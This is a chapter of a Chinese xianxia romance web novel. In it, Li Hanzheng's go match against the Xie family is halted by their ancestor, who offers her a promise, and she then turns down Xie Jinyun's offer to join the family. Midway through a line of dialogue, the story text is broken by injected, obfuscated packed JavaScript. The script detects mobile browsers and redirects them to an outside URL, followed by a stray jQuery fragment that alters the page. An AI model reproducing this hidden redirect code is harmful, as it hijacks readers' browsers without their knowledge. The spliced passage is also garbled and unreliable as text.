49. 不枉(10)

作品:《士别三日,当以妻子相看

    谢家的规矩,外姓人若挑战第七层,那么整个棋局过程将会全程封闭,不得有人围观。


    同时,为了确保没有作弊,对弈双方将会进入真言阵下棋。所谓真言阵,就是防止作弊的阵法。


    袁期望着李寒筝消失的方向,捂住了心口:“如果乌木扇没了,那我的心也跟着没了。”


    洛意幽幽道:“你只是心没了,我的剑是我姑姑花了十年锻成的,叫做濯冰,如果剑没了,那我的命也就没了,我会被我姑姑活活打死的。”


    袁期用余光轻轻瞥了眼坐在一旁的裴玉仪。


    谢家的场面活向来滴水不漏,一刻钟内打扫好残局,备好了热茶和水果点心,轻声细语地请他们坐下来等待。


    裴玉仪捧着一杯热茶,静静垂着眼睫,洛意时不时说几句,她皆都正常应答,没有任何反常的样子。


    但他莫名觉得,自从谢呈出现开始,裴玉仪就不开心了。


    世人皆道,谢呈仙姿玉质,天赋卓绝,家世出众,实乃良配。


    可是玉仪……她好像不愿意。


    *


    隔扇门再次打开已经是半个时辰后,出来的却不是李寒筝,而是一个提着灯笼的青衣侍者。


    侍者伸出手掌往左侧请:“诸位请随我来。”


    另有一名青衣侍者走到袁立洲身前,低声说了些什么,袁立洲的神色细微一变,不甘地看过来一眼。


    只要袁立洲吃瘪,洛意便高兴。几人跟着青衣侍者穿庭过廊,到了平乐棋坊的后门,门外是一条寂静的小巷,台阶下停着一辆马车。


    天色已经黯淡下来,车厢外的杏色帷幔卷着风飒飒作响,车帘掀开,李寒筝探出头来,招招手,“他们说要免费送我们回去耶。”


    几人进入车厢之后,马车辚辚驶动,车夫一身黑衣,玄铁护腕,前襟衣摆是谢家特有的北斗徽纹。


    洛意接过自己的剑,挑眉:“赢了?”


    李寒筝将乌木扇递给袁期,耸了下肩:“没有。”


    袁期手里转着乌木扇,挑起一边眉:“输了?”


    李寒筝再次耸肩:“怎么可能?我诶,我怎么可能会输呢?”


    “不赢不输,打什么哑谜,”洛意脾气暴躁地一手勒过李寒筝的脖子,用剑柄挑起她的下巴:“快点说。”


    李寒筝顺势躺进洛意的怀里,不知道从哪里摸出一碟子杏仁酥,往嘴里丢了一颗:“下到一半,有一个白头发青年走过来,说这局中止,作为补偿,他许给我一个承诺。”


    *


    “老祖,你为何不让我继续下下去?”


    谢呈看向坐在太师椅中的青年。


    青年靠在椅背,穿着淡青色的广袖长袍,一头银白色的长发用白色的玉簪半挽,余下的全部都披散在双肩。他生着一副清冷的好样貌,眉眼精致,是那种精雕细琢都嫌匠气的精致,浑身的气质如仙如雪,望之高不可攀。


    此人正是实实在在的十一境尊者,谢家老祖谢怀。


    谢家老祖饮了一口茶,指了指下到一半的棋局,“因为你一定会输。”


    谢呈盯着棋盘许久,没有出声。


    谢家老祖淡淡道:“小呈,你是不是不服?”


    “不敢。”


    谢家老祖捧着茶碗,手指在棋盘上一处不起眼的地方点了点,“如何?”


    谢呈的目光落在那处,他是个聪明人,一点就通,几乎是瞬间,一动不动的棋局在他的脑海里飞速变化,白棋黑棋交锋,黑棋沉稳老道,白棋变化诡谲,种种演变最后通往一条结局。


    黑棋获胜。


    谢呈的手指蜷了蜷,“我让您失望了。”


    谢家老祖淡然开口:“听说晋云也输了,你们两个人,都喜欢学她的棋路,以为那便是最好的。但却只学了形,没有借到魂。”


    谢呈低下头:“对不起老祖,惹起您的伤心事了。”


    “原来这算是伤心事么?”谢家老祖沉默半晌,目光复又回到棋盘上,“听说执黑棋的小姑娘是个凡人?”


    “不错。”


    “可惜是个凡人。”谢家老祖良久凝视着棋盘,忽而道:“将那个小姑娘今日下的所有棋复原出来,交给我看。”


    谢呈道了句“是”,顿了顿,犹豫道:“她只是一个凡人,为什么您要许她一个承诺?”


    谢家老祖已经将头转回去,银白色的长发垂落脸侧,愈发衬得他的侧脸如玉般完美无瑕,他声音清冷地开口:“有志气有才华的年轻人,总要给她一条路,让她闯一闯。”


    *


    “不出意料的话,这个白头发青年就是谢家老祖,老天,他竟然肯许你一个承诺,真是疯狂。”


    袁期惊讶的同时,忍不住吐槽:“你到底从哪里摸过来的杏仁酥?”


    “从棋室摸过来的呗,谢呈又不吃,我这是帮他解决难题。”李寒筝拈着半块杏仁酥往嘴里丢。


    袁期忍不住想了想那个画面,剑拔弩张气氛凝重的棋室内,李寒筝大大咧咧挂着一幅无所谓的笑容,指了指旁边的杏仁酥:“我吃一点,你不介意吧?”


    谢呈那个时候的表情一定很有意思。


    李寒筝含含糊糊开口:“你们说我要什么比较好呢?”


    毫无疑问的是,谢家作为仙门大族,一定藏有许多奇珍异宝。当人没有选项的时候,往往得到一点就无比开心,当人有了选项的时候,就会开始比较,假如没有选到最好的,就会觉得自己错失了一座金山。


    李寒筝就处于这种心态,颇为纠结地皱起了眉头。


    裴玉仪思索了番:“或许你可以试着去慈融塔挑一件。”


    李寒筝眨了眨眼睛:“慈融塔?”


    “就是谢家的藏宝库,由谢序宁全权主管建造而成,听说藏着不少好东西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374627|196917||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,”考虑到李寒筝对仙门的事情几乎都是一片空白,袁期补充了句:“就是今天在客栈里说的谢序宁,长得青面獠牙那个,虽然她死了,但是听说她的法宝珍奇都藏在了慈融塔。”


    “一派胡言。”车帘外传来一道冷淡的声音。


    洛意“哗”地扯开车帘,“谢晋云,你怎么在这里?”


    车夫不知何时已经换了个人,一身束腰黑衣几乎融入夜色,一腿垂落,一腿弯起,压着斗笠,露出半边轮廓深刻的侧脸,正是谢晋云。


    他挑起一点斗笠,没有解释为何在此,黝黑眼珠里蕴着一点烦躁:“你那个卷轴上的东西跟谢序宁一点关系都没有,这些人都是为了卖钱瞎画一通。”


    袁期双手抱臂:“你怎么知道?”


    谢晋云转过视线,声线冷淡:“潮海城中每年三月三上巳节,年轻男女之间互赠鲜花以表情意,按照习俗,当天晚上所有年轻男女都不会关窗,若有爱慕的人,便漏夜不睡,往心上人的窗中投递一只鲜花,清晨起时,谁的房间里鲜花最多,谁就是最受欢迎的人。而谢序宁……”


    他说起这个名字的时候顿了一下,才继续往下道:“她每一年上巳日起床,整个房间几乎被鲜花淹没。”


    李寒筝听得呛了一下:“这么夸张?”


    谢晋云哼了一声,将唇紧紧抿上,显见得不想继续说下去。


    洛意问道:“那你为什么在这里?”


    谢晋云吐出一口气,目光在李寒筝身上略停了一停:“为了提醒你一件事。”


    李寒筝指了指自己:“我?”


    “对,就是你。”


    李寒筝脑袋上有一缕呆毛翘起来,嘴边都是杏仁酥的渣,谢晋云拧着眉,真是怀疑自己为什么会输给一个这样的人。


    他刻意忽略掉李寒筝头发上的浅金色发带,开口道:“老祖答应给你的承诺,你需得好好考虑。你是一个凡人,毫无修行天赋,换做任何仙门,都不可能收你,除了谢家。”


    洛意:“……”挖墙脚挖到暮山来了?


    谢晋云接着道:“你的棋艺不错,在平乐棋坊将会大有可为,甚至名扬天下,加入谢家,是你最好的选择。先不要着急拒绝,你好好考虑几天,老祖的承诺随时都可以兑现……”


    他话还没有说完,便听见李寒筝声音清脆地开口:“我拒绝。”


    谢晋云第一个反应竟然是她终于把东西吃完了,口齿这么清楚地说话。


    随即他才反应过来李寒筝说了什么,拧眉道:“为什么?”


    “我有夫君的,”李寒筝撑着下巴笑:“我家夫君姓段,叫做段梧声。”


    谢晋云并没有质疑段梧声为什么会娶一个凡人,而是再次皱眉:“依靠一个男人,到底不如依靠自己,你确定不再想一想吗?”


    “我确定,我的夫君很喜欢我,对我很好,我想永远待在他身边。”